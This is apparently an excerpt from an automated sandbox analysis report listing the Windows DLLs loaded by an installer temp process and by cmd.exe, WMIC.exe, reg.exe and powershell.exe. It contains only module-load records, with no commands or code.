Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: globinputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\reg.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
